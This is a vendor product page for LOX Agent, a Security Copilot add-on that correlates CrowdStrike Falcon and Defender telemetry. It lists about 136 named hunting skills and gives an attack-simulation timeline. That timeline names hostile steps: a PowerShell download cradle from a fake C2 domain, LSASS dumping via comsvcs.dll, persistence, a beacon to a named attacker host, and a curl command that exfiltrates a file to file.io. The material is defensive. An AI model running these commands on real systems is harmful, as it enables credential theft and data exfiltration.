Coming soon to the Microsoft Security Store

LOX Agent

Lockbase Open XDR — Cross-EDR Investigation Coach for Microsoft Security Copilot

Investigate alerts in CrowdStrike Falcon and Microsoft Defender for Endpoint side by side, inside Security Copilot.

Read the documentation Contact LockBase

[ DESIGNED FOR ]

Designed for organizations running CrowdStrike Falcon as their primary active EDR alongside Microsoft Defender for Endpoint in passive mode. Defender contributes raw endpoint, identity, email, and cloud-app telemetry through Advanced Hunting while Falcon handles active prevention on the host.

live // LOX_AGENT.describe()

What it
actually does

> Three-paragraph technical brief. No marketing fluff. Read top to bottom — it walks the agent's job from input to output.

  1. [ OVERVIEW ] 01 / 03

    LOX Agent (Lockbase Open XDR) is a cross-EDR investigation coach designed for organizations running CrowdStrike Falcon as their primary active EDR alongside Microsoft Defender for Endpoint in passive mode, where Defender contributes raw endpoint, identity, email, and cloud-app telemetry through Advanced Hunting while Falcon handles active prevention on the host. LOX Agent unifies both inside Microsoft Security Copilot — treating Falcon's detections and Defender's raw telemetry as complementary signals on the same incident rather than parallel tools — and adds Microsoft Threat Intelligence enrichment plus a built-in library of KQL hunting skills to surface activity that neither product alerted on directly.

  2. [ INVESTIGATION ] 02 / 03

    Analysts pose their question in plain language — a device name, user, IP, file hash, alert ID, or "what happened on this device today?" — and LOX Agent investigates by correlating CrowdStrike alerts with Defender telemetry for the same device or user, enriching every suspicious IP, domain, file hash, and CVE through Microsoft Threat Intelligence, and hunting for attacker techniques across endpoint, identity, email, and cloud activity. It flags CrowdStrike detections that fired but did not block the threat so unprevented attacks stand out, and reports when a Falcon sensor is in a degraded state so analysts know when an endpoint's prevention is reduced.

  3. [ DELIVERABLE ] 03 / 03

    Each investigation returns a clear-priority summary (Critical, High, Medium, Low) with a plain-English narrative of what happened, a side-by-side view showing where Falcon's prevention layer and Defender's telemetry agree, disagree, or each surface evidence the other missed, concrete containment and remediation steps the analyst can act on immediately, and every finding labeled with its data source — coaching Level 1 and Level 2 analysts step by step from question to closed ticket.

// end.report | sections: 3 | chars: 1,859 v1.0.0 — phase 1

Capabilities

Real-world example: cross-EDR kill chain

A 2026-04-22 attack simulation against host lox-target: an adversary dropped implant.exe, beaconed to 20.253.43.57, dumped LSASS, persisted via scheduled task and Run key, and exfiltrated to file.io. CrowdStrike raised 8 alerts, Defender raised 20 — and neither caught the actual C2 beacon.

Time Phase Attacker action CrowdStrike Defender
16:15 Initial Access / Execution PowerShell IEX DownloadString from fakehackerc2server.com
✓ Caught
PShellDownloadRun
✓ First
Earliest signal
16:16 Execution DownloadFile retrieves go4.cab payload
✓ Caught
CommandLineKnownMalware ×2
—
16:17 Defense Evasion Process Injection / Masquerading via svchost.exe (T1055, T1036)
—
✓ Caught
16:18 Discovery net group / systeminfo / net shares (T1007, T1069, T1087, T1018)
—
✓ Caught
Discovery cluster
16:20 Persistence Scheduled task LOXBeacon created (runs as SYSTEM)
—
✓ Caught
16:21 Persistence Run key VMwareUpdate → vmtools.exe planted
✓ Caught
UnusualScriptScheduledTask ×2
—
16:22 Credential Access LSASS dumped via rundll32 comsvcs.dll MiniDump (T1003)
✓ Caught
ProcAccessLsass
—
16:25 Command & Control implant.exe beaconing to 20.253.43.57 (lox-attacker.eastus.azurecontainer.io), hourly

Neither EDR caught this — the gap LOX Agent closes.

—
—
16:30 Exfiltration curl -F file=@out1.tmp https://file.io (T1011)
✓ Caught
Exfiltration
✓ Caught
Suspicious curl

Times are illustrative; ordering matches the simulation playbook. CrowdStrike fired 8 detection-only alerts (none prevented). Defender fired 20.

LOX_AGENT.skills[]

136 hunting & enrichment skills,
organized by tradecraft.

The LOX Agent ships with a built-in library of cross-EDR investigation skills — categorized below by attacker phase. Each skill is a named capability the agent invokes inline; analysts never write the underlying KQL or FQL by hand.

[06] Cross-EDR alert aggregation [18] Endpoint hunting & process telemetry [27] Identity, email & OAuth attacks [06] Credential access & dumping [14] Persistence & privilege escalation [17] Lateral movement & discovery [06] Command & Control / beacon detection [07] Exfiltration & data theft [09] Threat intel feed integration [11] Detection evasion & social engineering [15] Enrichment & context
  • ListDefenderAlerts

    All Microsoft Defender XDR alerts with flexible filtering by severity, source, and timeframe.

  • ListEndpointAlerts

    MDE endpoint alerts with full device context attached.

  • ListIdentityAlerts

    Microsoft Defender for Identity plus Entra ID Identity Protection alerts.

  • ListEmailAlerts

    Microsoft Defender for Office 365 phishing and email security alerts.

  • ListCloudAppAlerts

    Microsoft Defender for Cloud Apps SaaS security alerts (MCAS).

  • GetDeviceAlerts

    Every alert raised against a specific device, across vendors and timeframes.

  • HuntForIOC

    Search any indicator (IP, domain, hash, filename) across process, network, and file events.

  • GetProcessTree

    Parent-child process ancestry for incident reconstruction.

  • GetDeviceTimeline

    Unified activity timeline merging processes, network, and file events for one host.

  • GetProcessC2Connections

    Network connections originating from a specific process — surfaces hidden C2.

  • GetEncodedPowerShell

    Find Base64-encoded PowerShell commands and decode them inline.

  • GetPowerShellNetworkConnections

    PowerShell processes connecting outbound to public IPs.

  • GetCertutilActivity

    certutil.exe used for external download or exfil (LOLBin).

  • GetMacroNetworkConnections

    Office macros calling out to external addresses.

  • GetISOFileActivity

    URL access following ISO file mounting — common social-engineering chain.

  • GetBrowserExploitActivity

    Browsers spawning suspicious child processes — drive-by compromise marker.

  • GetProcessMasquerading

    System processes running from wrong paths (T1036.005).

  • GetParentChildMismatch

    Unusual parent-child process relationships across the fleet.

  • GetSuspiciousBrowserChildProcesses

    Browser child processes that should never spawn from a browser.

  • GetUnsignedUserFolderExecution

    Unsigned executables running from user-writable folders.

  • GetWScriptJScriptExecution

    WScript / CScript execution patterns that fingerprint malware loaders.

  • GetUntrustedDLLLoads

    DLLs loading from unusual paths — sideloading and hijack indicators.

  • GetSuspiciousPublicFolderFiles

    Low-prevalence files dropped under Users/Public — common staging path.

  • GetWebshellActivity

    Web shell file creation and execution on edge/web servers.

  • GetUserAlerts

    Every security alert raised against a specific user.

  • GetUserRiskEvents

    Entra ID risk levels and sign-in risk state for a user.

  • GetPotentialAiTMSignins

    Adversary-in-the-middle phishing on unmanaged devices.

  • GetSuspiciousUserAgentSignins

    Logins from suspicious user agents (axios, azurehound, Python, curl).

  • GetNewCountrySignins

    Sign-ins from countries this account has never used before.

  • GetNewAppSignins

    First-time application consent for a user — consent-phishing detection.

  • GetDeviceCodeSignins

    Device-code auth flows — frequently abused for phishing-resistant phish.

  • GetConditionalAccessFailures

    Rapid Conditional Access policy failures that suggest bypass attempts.

  • GetAzureCliSuspiciousLogins

    Azure CLI logins exhibiting risky patterns.

  • GetAsrepRoasting

    ASREP roasting attack indicators against Active Directory.

  • GetKerberoasting

    Kerberoasting service-ticket request patterns.

  • GetOAuthPhishingEmails

    Inbound emails carrying OAuth consent URLs.

  • GetDeviceCodePhishingEmails

    Inbound emails carrying device-code phishing URLs.

  • GetPhishingUrlClicks

    Users who clicked device-code or OAuth phishing URLs.

  • GetDeviceCodePhishingSuccess

    Click + successful device-code sign-in — actual compromise events.

  • GetEmailToEndpointCorrelation

    Map a phishing-email click straight through to the endpoint that opened it.

  • GetEmailSenderAnalysis

    Sender reputation, delivery patterns, and threat history for a given sender.

  • GetSuspiciousMailboxActivity

    Forwarding rules, SMTP redirection, delegate access — BEC/AiTM persistence.

  • GetSuspiciousInboxRules

    Inbox rule patterns associated with mailbox-takeover playbooks.

  • GetInboxForwardingRules

    Enumerate every email forwarding rule across the tenant.

  • GetInboxRuleFromNewIP

    Inbox rules created from previously-unseen source IPs.

  • GetQuishingEmails

    QR-code-based phishing emails (quishing).

  • GetOAuthAbusePatterns

    CoPhish (Copilot Studio abuse), unauthorized Graph mail access, suspicious app consent.

  • GetGraphPermissionsAdded

    Dangerous Graph API permissions granted (Mail.*, Files.*, Directory.*).

  • GetCloudPersistenceActivity

    App consent, MFA changes, service-principal modifications.

  • GetOAuthAppPermissions

    Enumerate the permissions attached to every OAuth app in the tenant.

  • GetSuspiciousMFARegistration

    MFA device registrations from anomalous locations or devices.

  • GetNewLSASSAccess

    New processes accessing LSASS — credential dumping in progress.

  • GetLSASSDumpViaDebug

    LSASS access via debugging APIs (a common dumper technique).

  • GetLSASSDumpComsvcs

    LSASS dumping via comsvcs.dll MiniDump (T1003).

  • GetNTDSDumpActivity

    NTDS.dit extraction attempts on domain controllers.

  • GetSAMDatabaseAccess

    SAM database read attempts on workstations and servers.

  • GetPassTheHashActivity

    Pass-the-hash lateral movement signatures across the fleet.

  • GetServiceCreation

    New Windows service creation events.

  • GetRegistryRunKeyEvents

    Registry Run/RunOnce key modifications across the fleet.

  • GetStartupFolderPersistence

    Files created under Startup folders.

  • GetWMISubscription

    WMI event-subscription persistence (T1546.003).

  • GetScheduledTaskC2Activity

    Scheduled tasks creating outbound C2 connections.

  • GetScheduledTaskUnsignedBinaries

    Scheduled tasks executing unsigned binaries.

  • GetLogonScriptPersistence

    Logon-script creation and modification events.

  • GetCLSIDHijacking

    COM hijacking via CLSID manipulation.

  • GetUACBypass

    User Account Control bypass attempts (eventvwr, fodhelper, sdclt, etc.).

  • GetGetsystemActivity

    getsystem-style privilege escalation indicators.

  • GetTokenManipulation

    Token stealing or token-elevation indicators.

  • GetProcessInjectionActivity

    Process-injection vectors (CreateRemoteThread, APC queue, etc.).

  • GetMSBuildRemoteThread

    MSBuild abused for remote-thread injection.

  • GetSuspiciousNamedPipes

    Named-pipe creation patterns associated with C2 frameworks.

  • CheckLateralMovement

    SMB, RDP, WinRM, and SSH lateral-movement attempts originating from a host.

  • SearchRelatedHosts

    Find other devices that ran similar commands or hit the same suspicious infrastructure.

  • GetRemoteSCMLateralMovement

    Service Control Manager remote lateral movement.

  • GetDCOMLateralMovement

    DCOM-based lateral movement signatures.

  • GetNTLMRelayActivity

    NTLM relay attack indicators.

  • GetDLLHijackingActivity

    DLL hijacking patterns for lateral execution.

  • GetWinRMPluginLateralMovement

    WinRM plugin abuse for lateral execution.

  • GetRMMToolConnections

    RMM tool (TeamViewer, AnyDesk, ConnectWise) external connectivity.

  • GetFirstTimeRMMTool

    First-ever execution of an RMM tool on a host — common ransomware precursor.

  • GetPsExecActivity

    PsExec remote-execution attempts.

  • GetWMIExecution

    WMI-based command execution across hosts.

  • GetRapidEnumeration

    Rapid AD enumeration of users and groups.

  • GetSMBScanActivity

    SMB reconnaissance scans across the network.

  • GetBloodHoundActivity

    BloodHound AD enumeration tool usage.

  • GetLocalAccountCreation

    New local user accounts created across the fleet.

  • GetLocalSystemRecon

    Local system reconnaissance commands (whoami, systeminfo, net group, etc.).

  • GetBruteForceAttempts

    Multiple failed remote logon attempts grouped by source IP.

  • GetBeaconActivity

    Repeating outbound connections to the same non-Microsoft destination — generic beacon detection.

  • GetCobaltStrikeUserAgents

    Cobalt Strike user-agent and JA3 signatures.

  • GetSuspiciousBeaconProcesses

    Processes exhibiting periodic beacon-like behavior over time.

  • GetDNSTunnelingIndicators

    DNS-tunneling patterns used for C2 over allow-listed protocols.

  • GetSecurityLogCleared

    Event log clearing — anti-forensics signal.

  • GetTimestomping

    File timestamp manipulation (T1070.006).

  • GetArchiveToSMBShare

    Archive creation followed by SMB sharing — classic exfil staging.

  • GetRcloneExfiltration

    Rclone or Rclone-derived cloud exfil tools running on the fleet.

  • GetCloudExfiltration

    Generic cloud-storage exfil patterns (file.io, transfer.sh, mega.io, etc.).

  • GetHTMLSmugglingActivity

    HTML files with embedded encoded payloads (HTML smuggling).

  • GetExifSmugglingFileFix

    Payloads smuggled inside image EXIF data.

  • GetBitLockerRansomwareAbuse

    BitLocker abused as a ransomware encryption primitive.

  • GetBitLockerCOMHijacking

    BitLocker COM hijacking for unauthorized decryption.

  • GetURLHausEmailHits

    Malicious URLs from URLhaus that were delivered in email.

  • GetURLHausEndpointHits

    URLhaus URLs that were actually accessed from endpoints.

  • GetURLHausFeedSummary

    Daily summary of URLhaus feed coverage.

  • GetLOLDriversHits

    Vulnerable drivers from the LOLDrivers feed loaded in the environment.

  • GetLOLDriversEnvironmentScan

    Sweep the fleet for any driver in the LOLDrivers list.

  • GetLOLDriversFeedSummary

    Daily summary of the LOLDrivers feed.

  • GetLOLBASNetworkActivity

    Living-off-the-land binaries (LOLBAS) generating network activity.

  • GetLOLBASExecution

    Detection for LOLBAS execution patterns.

  • GetLOLBASByBinary

    Filter LOLBAS execution by binary name (specific tradecraft).

  • GetEDRBypassDriverLoad

    Suspicious drivers loaded for EDR bypass.

  • GetRareDriverWithOldCert

    Drivers signed with old or invalid certificates.

  • GetBiDiURLObfuscation

    Right-to-left override URL obfuscation.

  • GetClickFixRunMRU

    ClickFix clipboard-and-Win+R social-engineering chain.

  • GetClickFixPowerShellExecution

    ClickFix PowerShell execution paths.

  • GetClickFixMshtaExecution

    ClickFix mshta-based execution paths.

  • GetClickFixNetworkActivity

    Network activity downstream of a ClickFix attack.

  • GetFileFixExplorerExecution

    FileFix social-engineering chain executed via Explorer.

  • GetConsentFixActivity

    ConsentFix social-engineering campaign activity.

  • GetPRTTheftActivity

    Primary Refresh Token (PRT) theft indicators.

  • GetShadowCredentialsActivity

    Shadow-credentials attack indicators against AD.

  • GetFileProfile

    File reputation and prevalence pulled from MDE.

  • GetFilePrevalenceInOrg

    How widespread a file is across your organization.

  • GetDeviceCVEContext

    Device CVE vulnerability context with exploit-status flags.

  • GetUserRole

    User role and group membership from Entra ID.

  • GetAMSITriggers

    AMSI script-detection events on a host.

  • GetAntivirusDetections

    Microsoft Defender Antivirus detection events.

  • GetASREvents

    Attack Surface Reduction rule triggers.

  • GetSmartScreenTriggers

    Microsoft SmartScreen warnings and bypasses.

  • GetTamperingAttempts

    Security software tampering attempts.

  • GetDefenderExclusionChanges

    Defender exclusion-list modifications — frequent evasion vector.

  • GetNetworkIOCComparison

    MDE network connection details surfaced for cross-IOC comparison.

  • GetProcessExecutionComparison

    MDE process executions surfaced for cross-comparison.

  • GetKeyloggerActivity

    Keylogger detection signatures.

  • GetInboundPublicConnections

    Inbound connections to a host from public IPs.

  • GetSuspiciousRunMRU

    Suspicious entries in the registry Run-MRU list.

// catalog.complete categories: 11 total: 136 skills Source: LOX Agent manifest v2 + KQL hunting feed v3
LOX_AGENT.diagrams[] 02

Technical architecture,
drawn at the wire.

Vector schematics that document how the agent actually moves data — system architecture and a worked cross-vendor use case. No hand-drawn boxes; every arrow is an actual API call. Click any diagram to open it at full resolution.

[ FIG.01 :: ARCHITECTURE ]

System architecture

open at full size
End-to-end view of how LOX Agent orchestrates CrowdStrike Falcon, Microsoft Defender XDR, and Microsoft Threat Intelligence inside a Security Copilot workspace.

End-to-end view of how LOX Agent orchestrates CrowdStrike Falcon, Microsoft Defender XDR, and Microsoft Threat Intelligence inside a Security Copilot workspace.

[ FIG.02 :: USE_CASE ]

Use case: cross-vendor phishing correlation

open at full size
Worked example showing LOX Agent stitching a Defender phishing alert to CrowdStrike endpoint telemetry and MDTI infrastructure context.

Worked example showing LOX Agent stitching a Defender phishing alert to CrowdStrike endpoint telemetry and MDTI infrastructure context.

Plan and pricing

LOX Agent consumes approximately 0.3–1.5 SCU per triage run, depending on investigation depth.

  • Single-alert cross-EDR correlation

    ~0.3–0.5 SCU

  • Standard triage (3-5 indicator enrichments, 10-15 KQL hunts)

    ~0.6–1.0 SCU

  • Full investigation (20+ hunting skills)

    ~1.0–1.5 SCU

  • Extended hunts

    +~0.2 SCU per additional 1 GB of Defender Advanced Hunting log data

SCU (Security Compute Units) are billed by Microsoft Security Copilot at the workspace level.

Requirements

To deploy LOX Agent into your Microsoft Security Copilot workspace you'll need:

  • Microsoft Security Copilot license
  • CrowdStrike Falcon EDR with API access (active mode)
  • Microsoft Defender for Endpoint (passive mode is the supported configuration)
  • Microsoft Defender Threat Intelligence (MDTI)
  • CrowdStrike API client with alerts:read and devices:read scopes

Documentation and support